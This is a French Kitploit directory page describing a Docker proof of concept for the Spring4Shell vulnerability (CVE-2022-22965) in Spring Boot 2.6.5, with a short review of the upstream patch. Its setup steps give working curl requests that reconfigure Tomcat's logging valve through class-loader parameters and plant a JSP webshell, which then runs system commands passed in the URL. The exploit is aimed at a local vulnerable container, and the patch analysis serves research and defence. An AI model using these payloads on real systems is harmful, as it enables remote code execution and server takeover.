Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-22965 — PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5 | Kitploit
Outils/GitHubGitHub/itsecurityco/cve-2022-22965
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubitsecurityco/cve-2022-22965

CVE-2022-22965

PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5

Voir le dépôt
163il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Spring Boot CVE-2022-22965

PoC Docker pour CVE-2022-22965 avec Spring Boot version 2.6.5

Shell

🚀 Pour commencer

  1. Téléchargez le code de distribution depuis https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip et décompressez-le.
  2. Exécutez docker compose up --build pour construire et démarrer l'application vulnérable.
  3. Exécutez curl -H "Accept: text/html;" "http://localhost:8080/demo/itsecurityco?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%63%6f%64%65%7d%69&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" pour modifier la valve de configuration Tomcat.
  4. Exécutez curl -H "Accept: text/html;" -H "code: <% java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(String.valueOf(1337))).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1) { out.println(new String(b)); } %>" "http://localhost:8080/demo/x" pour créer le webshell.
  5. Ouvrez votre navigateur et allez sur http://localhost:8080/shell.jsp?1337=id pour commencer à exécuter des commandes.

🔎 Révision du correctif

Le code source de Spring Framework 5.3.17 (vulnérable) et de Spring Framework 5.3.18 (corrigé) peut être téléchargé respectivement depuis :

  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
  • https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip
root@kitploit:~
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.17.zip
$ wget https://github.com/spring-projects/spring-framework/archive/refs/tags/v5.3.18.zip

La vulnérabilité se trouve dans le fichier /spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java à la ligne 290 où une validation est appliquée pour les méthodes Class.getClassLoader() et getProtectionDomain() mais pas pour les types ClassLoader, ProtectionDomain et les noms des PropertyDescriptors.

La différence entre le code vulnérable et le code corrigé peut être obtenue avec la commande diff.

root@kitploit:~
$ diff spring-framework-5.3.17/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java spring-framework-5.3.18/spring-beans/src/main/java/org/springframework/beans/CachedIntrospectionResults.java

Patch


Crédits

  • Recherche originale: @p1n93r
  • Remerciements: @fmunoz
Télécharger l’outil